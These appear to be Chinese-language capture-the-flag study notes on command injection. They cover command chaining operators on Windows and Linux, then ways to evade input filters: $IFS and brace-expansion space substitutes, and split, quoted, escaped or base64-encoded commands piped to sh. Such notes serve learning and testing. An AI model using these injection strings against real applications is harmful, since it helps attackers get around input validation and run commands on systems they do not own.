一、常见命令基础
- windows下连接两条命令:
| 管道符,直接执行后面的语句
(前一个命令的标准输出(stdout)传递给后一个命令的标准输入(stdin))
|| 如果前面的语句出错,则执行后面的语句(或)
& 前面的语句可真可假,后面的语句一定会执行
&& 前面的语句为真时,才执行后面的语句
- Linux下连接两条命令:
| 管道符,直接执行后面的语句
|| 如果前面的语句出错,则执行后面的语句(或)
; 执行完前面的,就接着执行后面的语句
&& 前面的语句为真时,才执行后面的语句
- Linux常见指令
ls 列出当前目录的内容
ls / 列出根目录的内容
cat filename.txt 查看文件内容
二、绕过技巧
- 空格绕过
$IFS$1 $IFS 为字段分隔符相当于空格,$1作用是隔开后面的执行代码
{cat,flag} 花括号扩展,用于解析一系列字符串,解析为cat flag
cat<flag <为输入重定向符号,将flag文件内容作为cat的标准输入
cat<>flag
- 关键词绕过(如:检测到关键词flag后不执行)
1.变量拼接 a=fl;b=ag;cat $a$b
2.反引号`` 将一个命令的输出结果插入到另一个命令中
若插入的命令执行失败,则先返回报错,再单独返回另一个命令
cat fl`sfsfesfse`ag
3.反斜杠\ 转义字符,当无法转义时输出原来的结果
cat f\lag
4.引号 表示字符串
cat f'l'ag cat f"l"ag
5.编码绕过 将 cat flag用base64编码后成为Y2F0IGZsYWc=
再用base64解码,使用sh命令执行或用反引号执行
Y2F0IGZsYWc=|base64 -d|sh `Y2F0IGZsYWc=|base64 -d`